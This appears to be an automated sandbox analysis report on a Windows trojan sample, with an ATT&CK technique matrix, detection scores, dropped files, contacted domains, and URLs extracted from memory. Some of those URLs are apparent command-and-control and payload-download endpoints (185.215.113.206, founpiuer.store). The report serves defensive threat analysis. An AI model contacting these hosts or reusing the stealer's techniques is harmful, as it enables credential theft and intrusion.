Employee Names	Virtual Private Server	Local Accounts	1 PowerShell	Login Hook	12 Process Injection	12 Software Packing	NTDS	11 Query Registry	Distributed Component Object Model	Input Capture	4 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	11 Registry Run Keys / Startup Folder	1 DLL Side-Loading	LSA Secrets	851 Security Software Discovery	SSH	Keylogging	115 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Extra Window Memory Injection	Cached Domain Credentials	34 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	111 Masquerading	DCSync	2 Process Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	34 Virtualization/Sandbox Evasion	Proc Filesystem	1 Application Window Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	1 Access Token Manipulation	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	12 Process Injection	Network Sniffing	Network Service Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement
Network Security Appliances	Domains	Compromise Software Dependencies and Development Tools	AppleScript	Launchd	Launchd	1 Rundll32	Input Capture	System Network Connections Discovery	Software Deployment Tools	Remote Data Staging	Mail Protocols	Exfiltration Over Unencrypted Non-C2 Protocol	Firmware Corruption

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
ByVoN4bhSU.exe	39%	ReversingLabs	Win32.Trojan.Crifi
ByVoN4bhSU.exe	100%	Avira	TR/Crypt.TPM.Gen
ByVoN4bhSU.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\ProgramData\chrome.dll	4%	ReversingLabs
C:\ProgramData\freebl3.dll	0%	ReversingLabs
C:\ProgramData\mozglue.dll	0%	ReversingLabs
C:\ProgramData\msvcp140.dll	0%	ReversingLabs
C:\ProgramData\nss3.dll	0%	ReversingLabs
C:\ProgramData\softokn3.dll	0%	ReversingLabs
C:\ProgramData\vcruntime140.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\freebl3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\mozglue[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\msvcp140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\nss3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\softokn3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\vcruntime140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	39%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Local\Temp\IXP001.TMP\3S96n.exe	42%	ReversingLabs	Win32.Trojan.Generic

Source	Detection	Scanner	Label
https://founpiuer.store/apin	100%	Avira URL Cloud	malware
http://185.215.113.206/746f34465cf17784/mozglue.dllb	100%	Avira URL Cloud	malware
http://185.215.113.206/746f34465cf17784/sqlite3.dll:	100%	Avira URL Cloud	malware
http://185.215.113.16/HD	100%	Avira URL Cloud	phishing
http://185.215.113.206/746f34465cf17784/freebl3.dllJ	100%	Avira URL Cloud	malware
https://founpiuer.store/apii	100%	Avira URL Cloud	malware
https://founpiuer.store/apiK	100%	Avira URL Cloud	malware
https://founpiuer.store/apiH	100%	Avira URL Cloud	malware
https://founpiuer.store/apis	100%	Avira URL Cloud	malware
http://185.215.113.206/6c4adf523b719729.php#L	100%	Avira URL Cloud	malware
http://185.215.113.206/746f34465cf17784/vcruntime140.dll3dCb	100%	Avira URL Cloud	malware

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
chrome.cloudflare-dns.com	172.64.41.3	true	false	high
founpiuer.store	104.21.5.155	true	false	high
plus.l.google.com	172.217.18.14	true	false	high
play.google.com	142.250.185.78	true	false	high
ssl.bingadsedgeextension-prod-europe.azurewebsites.net	94.245.104.56	true	false	high
sb.scorecardresearch.com	18.244.18.38	true	false	high
www.google.com	142.250.184.228	true	false	high
googlehosted.l.googleusercontent.com	142.250.186.129	true	false	high
assets.msn.com	unknown	unknown	false	high
c.msn.com	unknown	unknown	false	high
ntp.msn.com	unknown	unknown	false	high
clients2.googleusercontent.com	unknown	unknown	false	high
bzib.nelreports.net	unknown	unknown	false	high
presticitpo.store	unknown	unknown	false	high
thumbystriw.store	unknown	unknown	false	high
necklacedmny.store	unknown	unknown	false	high
apis.google.com	unknown	unknown	false	high
crisiwarny.store	unknown	unknown	false	high
fadehairucw.store	unknown	unknown	false	high
api.msn.com	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Reputation
http://185.215.113.206/	false	high
fadehairucw.store	false	high
http://185.215.113.206/6c4adf523b719729.php	false	high
http://185.215.113.206/746f34465cf17784/softokn3.dll	false	high
founpiuer.store	false	high
http://185.215.113.206/746f34465cf17784/freebl3.dll	false	high
https://apis.google.com/_/scs/abc-static/_/js/k=gapi.gapi.en.SGzW6IeCawI.O/m=gapi_iframes,googleapis_client/rt=j/sv=1/d=1/ed=1/am=AACA/rs=AHpOoo-5biO9jua-6zCEovdoDJ8SLzd6sw/cb=gapi.loaded_0	false	high
http://185.215.113.206/746f34465cf17784/mozglue.dll	false	high
http://185.215.113.206/746f34465cf17784/nss3.dll	false	high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://www.cloudflare.com/learning/access-management/phishing-attack/	2h6379.exe, 00000003.00000003.2059814725.0000000001562000.00000004.00000020.00020000.00000000.sdmp	false		high
https://duckduckgo.com/chrome_newtab	2h6379.exe, 00000003.00000003.2079873754.0000000005D7F000.00000004.00000800.00020000.00000000.sdmp, 2h6379.exe, 00000003.00000003.2080007128.0000000005D7C000.00000004.00000800.00020000.00000000.sdmp, 2h6379.exe, 00000003.00000003.2080171090.0000000005D7C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2355594802.000000E800C1C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2430331312.000000E800C1C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2359384303.000000E800C1C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2392785957.000000E800C20000.00000004.00000800.00020000.00000000.sdmp, Web Data.11.dr, GHDHDBAE.3.dr	false		high
https://founpiuer.store/apii	2h6379.exe, 00000003.00000003.2059829749.0000000001509000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://mail.google.com/mail/?usp=installed_webapp	chrome.exe, 00000007.00000003.2347935219.000000E8006DC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2397314914.000000E8012D4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2430331312.000000E800C1C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2392785957.000000E800C20000.00000004.00000800.00020000.00000000.sdmp	false		high
https://google-ohttp-relay-join.fastly-edge.com/(	chrome.exe, 00000007.00000003.2383170596.000000E80175C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2383193352.000000E801764000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2383146742.000000E801758000.00000004.00000800.00020000.00000000.sdmp	false		high
https://duckduckgo.com/ac/?q=	2h6379.exe, 00000003.00000003.2079873754.0000000005D7F000.00000004.00000800.00020000.00000000.sdmp, 2h6379.exe, 00000003.00000003.2080007128.0000000005D7C000.00000004.00000800.00020000.00000000.sdmp, 2h6379.exe, 00000003.00000003.2080171090.0000000005D7C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2355594802.000000E800C1C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2430331312.000000E800C1C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2359384303.000000E800C1C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2392785957.000000E800C20000.00000004.00000800.00020000.00000000.sdmp, Web Data.11.dr, GHDHDBAE.3.dr	false		high
https://google-ohttp-relay-join.fastly-edge.com/2	chrome.exe, 00000007.00000003.2383170596.000000E80175C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2383193352.000000E801764000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2383146742.000000E801758000.00000004.00000800.00020000.00000000.sdmp	false		high
https://permanently-removed.invalid/oauth2/v2/tokeninfo	msedge.exe, 0000000A.00000003.2464980214.00005E0002474000.00000004.00000800.00020000.00000000.sdmp	false		high
https://founpiuer.store/apin	2h6379.exe, 00000003.00000003.2176505408.0000000001577000.00000004.00000020.00020000.00000000.sdmp, 2h6379.exe, 00000003.00000003.2059894872.00000000014F4000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://google-ohttp-relay-join.fastly-edge.com/1	chrome.exe, 00000007.00000003.2383170596.000000E80175C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2383193352.000000E801764000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2383146742.000000E801758000.00000004.00000800.00020000.00000000.sdmp	false		high
https://google-ohttp-relay-join.fastly-edge.com/0	chrome.exe, 00000007.00000003.2381528015.000000E801C88000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2381464043.000000E801C84000.00000004.00000800.00020000.00000000.sdmp	false		high
https://docs.google.com/document/J	chrome.exe, 00000007.00000003.2347935219.000000E8006DC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2397314914.000000E8012D4000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/4633	chrome.exe, 00000007.00000003.2350870943.000000E8009E0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2350828698.000000E80038C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2350457522.000000E80038C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000A.00000003.2466260453.00005E000256C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000A.00000003.2466794910.00005E0002558000.00000004.00000800.00020000.00000000.sdmp	false		high
https://anglebug.com/7382	chrome.exe, 00000007.00000003.2350870943.000000E8009E0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2350828698.000000E80038C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2350457522.000000E80038C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000A.00000003.2466260453.00005E000256C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000A.00000003.2466794910.00005E0002558000.00000004.00000800.00020000.00000000.sdmp	false		high
https://founpiuer.store/apis	2h6379.exe, 00000003.00000003.2108357637.000000000157D000.00000004.00000020.00020000.00000000.sdmp, 2h6379.exe, 00000003.00000003.2107271812.0000000001577000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696425136400800000.2&ci=1696425136743.	2h6379.exe, 00000003.00000002.2789765006.00000000014F7000.00000004.00000020.00020000.00000000.sdmp, 2h6379.exe, 00000003.00000002.2789765006.0000000001548000.00000004.00000020.00020000.00000000.sdmp, 2h6379.exe, 00000003.00000003.2110082641.0000000005D50000.00000004.00000800.00020000.00000000.sdmp, FIDHIEBAAKJDHIECAAFH.3.dr	false		high
https://issuetracker.google.com/284462263	msedge.exe, 0000000A.00000003.2466794910.00005E0002558000.00000004.00000800.00020000.00000000.sdmp	false		high
https://google-ohttp-relay-join.fastly-edge.com/9	chrome.exe, 00000007.00000003.2383170596.000000E80175C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2383193352.000000E801764000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2383146742.000000E801758000.00000004.00000800.00020000.00000000.sdmp	false		high
https://google-ohttp-relay-join.fastly-edge.com/=	chrome.exe, 00000007.00000003.2381528015.000000E801C88000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2381464043.000000E801C84000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.215.113.206/ws	3S96n.exe, 0000001A.00000002.2852271212.0000000000D4C000.00000004.00000020.00020000.00000000.sdmp	false		high
https://publickeyservice.gcp.privacysandboxservices.com	chrome.exe, 00000007.00000003.2380049633.000000E80167C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2379240087.000000E801678000.00000004.00000800.00020000.00000000.sdmp	false		high
https://google-ohttp-relay-join.fastly-edge.com/G	chrome.exe, 00000007.00000003.2383170596.000000E80175C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2383193352.000000E801764000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2383146742.000000E801758000.00000004.00000800.00020000.00000000.sdmp	false		high
http://polymer.github.io/AUTHORS.txt	chrome.exe, 00000007.00000003.2359193877.000000E8009E0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2357382450.000000E8010A8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2357665514.000000E8010C4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2357508627.000000E800FA4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2359149419.000000E800CE4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2359173027.000000E800EF4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2359415680.000000E8003B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2359248265.000000E80100C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2357188683.000000E801098000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2359649590.000000E80120C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2359589107.000000E80118C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2357473632.000000E8010F8000.00000004.00000800.00020000.00000000.sdmp	false		high
https://docs.google.com/	manifest.json0.11.dr	false		high
https://docs.google.com/document/:	chrome.exe, 00000007.00000003.2347935219.000000E8006DC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2397314914.000000E8012D4000.00000004.00000800.00020000.00000000.sdmp	false		high
https://publickeyservice.pa.aws.privacysandboxservices.com	chrome.exe, 00000007.00000003.2380049633.000000E80167C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2379240087.000000E801678000.00000004.00000800.00020000.00000000.sdmp	false		high
https://founpiuer.store/apiH	2h6379.exe, 00000003.00000003.2680956566.0000000001507000.00000004.00000020.00020000.00000000.sdmp, 2h6379.exe, 00000003.00000002.2789765006.00000000014F7000.00000004.00000020.00020000.00000000.sdmp, 2h6379.exe, 00000003.00000003.2251041301.0000000001507000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://google-ohttp-relay-join.fastly-edge.com/J	chrome.exe, 00000007.00000003.2383170596.000000E80175C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2383193352.000000E801764000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2383146742.000000E801758000.00000004.00000800.00020000.00000000.sdmp	false		high
https://anglebug.com/7714	chrome.exe, 00000007.00000003.2350870943.000000E8009E0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2350828698.000000E80038C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2350457522.000000E80038C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000A.00000003.2466260453.00005E000256C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000A.00000003.2466794910.00005E0002558000.00000004.00000800.00020000.00000000.sdmp	false		high
https://docs.google.com/presentation/ogl	chrome.exe, 00000007.00000003.2386953580.000000E801A70000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.215.113.206/746f34465cf17784/mozglue.dllb	2h6379.exe, 00000003.00000003.2680339790.0000000001588000.00000004.00000020.00020000.00000000.sdmp, 2h6379.exe, 00000003.00000003.2679910586.0000000001588000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://founpiuer.store/apiK	2h6379.exe, 00000003.00000003.2140281080.0000000001577000.00000004.00000020.00020000.00000000.sdmp, 2h6379.exe, 00000003.00000003.2176505408.0000000001577000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://photos.google.com?referrer=CHROME_NTP	chrome.exe, 00000007.00000003.2359415680.000000E8003B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2359649590.000000E80120C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2359589107.000000E80118C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://google-ohttp-relay-join.fastly-edge.com/Q	chrome.exe, 00000007.00000003.2383170596.000000E80175C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2383193352.000000E801764000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2383146742.000000E801758000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.215.113.16/HD	2h6379.exe, 00000003.00000003.2251041301.0000000001522000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
https://drive.google.com/?lfhs=2	chrome.exe, 00000007.00000003.2347935219.000000E8006DC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2387634724.000000E80159C000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/6248	chrome.exe, 00000007.00000003.2350870943.000000E8009E0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2350828698.000000E80038C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2350457522.000000E80038C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000A.00000003.2466260453.00005E000256C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000A.00000003.2466794910.00005E0002558000.00000004.00000800.00020000.00000000.sdmp	false		high
https://google-ohttp-relay-join.fastly-edge.com/T	chrome.exe, 00000007.00000003.2383170596.000000E80175C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2383193352.000000E801764000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2383146742.000000E801758000.00000004.00000800.00020000.00000000.sdmp	false		high
https://drive.google.com/?lfhs=2ation.Result	chrome.exe, 00000007.00000003.2387634724.000000E80159C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://ogs.google.com/widget/callout?eom=1	chrome.exe, 00000007.00000003.2388011868.000000E801EC4000.00000004.00000800.00020000.00000000.sdmp	false		high
https://outlook.live.com/mail/inbox?isExtension=true&sharedHeader=1&nlp=1&client_flight=outlookedge	96c82c2c-b7ee-4605-b3e6-1b988856ddc4.tmp.11.dr	false		high
http://185.215.113.206/746f34465cf17784/freebl3.dllJ	2h6379.exe, 00000003.00000003.2680956566.0000000001507000.00000004.00000020.00020000.00000000.sdmp, 2h6379.exe, 00000003.00000002.2789765006.00000000014F7000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://outlook.office.com/mail/compose?isExtension=true	96c82c2c-b7ee-4605-b3e6-1b988856ddc4.tmp.11.dr	false		high
http://anglebug.com/6929	chrome.exe, 00000007.00000003.2350870943.000000E8009E0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2350828698.000000E80038C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2350457522.000000E80038C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000A.00000003.2466260453.00005E000256C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000A.00000003.2466794910.00005E0002558000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/5281	chrome.exe, 00000007.00000003.2350870943.000000E8009E0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2350828698.000000E80038C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2350457522.000000E80038C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000A.00000003.2466260453.00005E000256C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000A.00000003.2466794910.00005E0002558000.00000004.00000800.00020000.00000000.sdmp	false		high
https://google-ohttp-relay-join.fastly-edge.com/b	chrome.exe, 00000007.00000003.2383170596.000000E80175C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2383193352.000000E801764000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2383146742.000000E801758000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.deezer.com/	96c82c2c-b7ee-4605-b3e6-1b988856ddc4.tmp.11.dr	false		high
https://www.youtube.com/?feature=ytca	chrome.exe, 00000007.00000003.2347935219.000000E8006DC000.00000004.00000800.00020000.00000000.sdmp	false		high
https://google-ohttp-relay-join.fastly-edge.com/f	chrome.exe, 00000007.00000003.2383170596.000000E80175C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2383193352.000000E801764000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2383146742.000000E801758000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.215.113.206/746f34465cf17784/sqlite3.dll:	2h6379.exe, 00000003.00000003.2680956566.0000000001507000.00000004.00000020.00020000.00000000.sdmp, 2h6379.exe, 00000003.00000002.2789765006.00000000014F7000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://google-ohttp-relay-join.fastly-edge.com/e	chrome.exe, 00000007.00000003.2383170596.000000E80175C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2383193352.000000E801764000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2383146742.000000E801758000.00000004.00000800.00020000.00000000.sdmp	false		high
https://issuetracker.google.com/255411748	msedge.exe, 0000000A.00000003.2466794910.00005E0002558000.00000004.00000800.00020000.00000000.sdmp	false		high
https://permanently-removed.invalid/oauth2/v4/token	msedge.exe, 0000000A.00000003.2464980214.00005E0002474000.00000004.00000800.00020000.00000000.sdmp	false		high
https://anglebug.com/7246	chrome.exe, 00000007.00000003.2350870943.000000E8009E0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2350828698.000000E80038C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2350457522.000000E80038C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000A.00000003.2466260453.00005E000256C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000A.00000003.2466794910.00005E0002558000.00000004.00000800.00020000.00000000.sdmp	false		high
https://anglebug.com/7369	chrome.exe, 00000007.00000003.2350870943.000000E8009E0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2350828698.000000E80038C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2350457522.000000E80038C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000A.00000003.2466260453.00005E000256C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000A.00000003.2466794910.00005E0002558000.00000004.00000800.00020000.00000000.sdmp	false		high
https://anglebug.com/7489	chrome.exe, 00000007.00000003.2350870943.000000E8009E0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2350828698.000000E80038C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2350457522.000000E80038C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000A.00000003.2466260453.00005E000256C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000A.00000003.2466794910.00005E0002558000.00000004.00000800.00020000.00000000.sdmp	false		high
https://docs.google.com/presentation/	chrome.exe, 00000007.00000003.2386953580.000000E801A70000.00000004.00000800.00020000.00000000.sdmp	false		high
https://duckduckgo.com/?q=	chrome.exe, 00000007.00000003.2355594802.000000E800C1C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2430331312.000000E800C1C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2359384303.000000E800C1C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2392785957.000000E800C20000.00000004.00000800.00020000.00000000.sdmp	false		high
https://chrome.google.com/webstore	chrome.exe, 00000007.00000003.2351435997.000000E800CF4000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000A.00000002.2533955064.00005E000237C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://drive-daily-2.corp.google.com/	manifest.json0.11.dr	false		high
http://polymer.github.io/PATENTS.txt	chrome.exe, 00000007.00000003.2359193877.000000E8009E0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2357382450.000000E8010A8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2357665514.000000E8010C4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2357508627.000000E800FA4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2359149419.000000E800CE4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2359173027.000000E800EF4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2359415680.000000E8003B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2359248265.000000E80100C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2357188683.000000E801098000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2359649590.000000E80120C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2359589107.000000E80118C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2357473632.000000E8010F8000.00000004.00000800.00020000.00000000.sdmp	false		high
https://cdn.ecosia.org/assets/images/ico/favicon.ico	chrome.exe, 00000007.00000003.2355594802.000000E800C1C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2430331312.000000E800C1C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2359384303.000000E800C1C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2392785957.000000E800C20000.00000004.00000800.00020000.00000000.sdmp	false		high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	2h6379.exe, 00000003.00000003.2079873754.0000000005D7F000.00000004.00000800.00020000.00000000.sdmp, 2h6379.exe, 00000003.00000003.2080007128.0000000005D7C000.00000004.00000800.00020000.00000000.sdmp, 2h6379.exe, 00000003.00000003.2080171090.0000000005D7C000.00000004.00000800.00020000.00000000.sdmp, Web Data.11.dr, GHDHDBAE.3.dr	false		high
http://ocsp.rootca1.amazontrust.com0:	2h6379.exe, 00000003.00000003.2108706109.0000000005E4D000.00000004.00000800.00020000.00000000.sdmp	false		high
https://issuetracker.google.com/161903006	msedge.exe, 0000000A.00000003.2466794910.00005E0002558000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.215.113.206/6c4adf523b719729.php#L	2h6379.exe, 00000003.00000002.2789380320.00000000014DB000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://www.ecosia.org/newtab/	2h6379.exe, 00000003.00000003.2079873754.0000000005D7F000.00000004.00000800.00020000.00000000.sdmp, 2h6379.exe, 00000003.00000003.2080007128.0000000005D7C000.00000004.00000800.00020000.00000000.sdmp, 2h6379.exe, 00000003.00000003.2080171090.0000000005D7C000.00000004.00000800.00020000.00000000.sdmp, GHDHDBAE.3.dr	false		high
https://drive-daily-1.corp.google.com/	manifest.json0.11.dr	false		high
https://excel.new?from=EdgeM365Shoreline	96c82c2c-b7ee-4605-b3e6-1b988856ddc4.tmp.11.dr	false		high
https://drive-daily-5.corp.google.com/	manifest.json0.11.dr	false		high
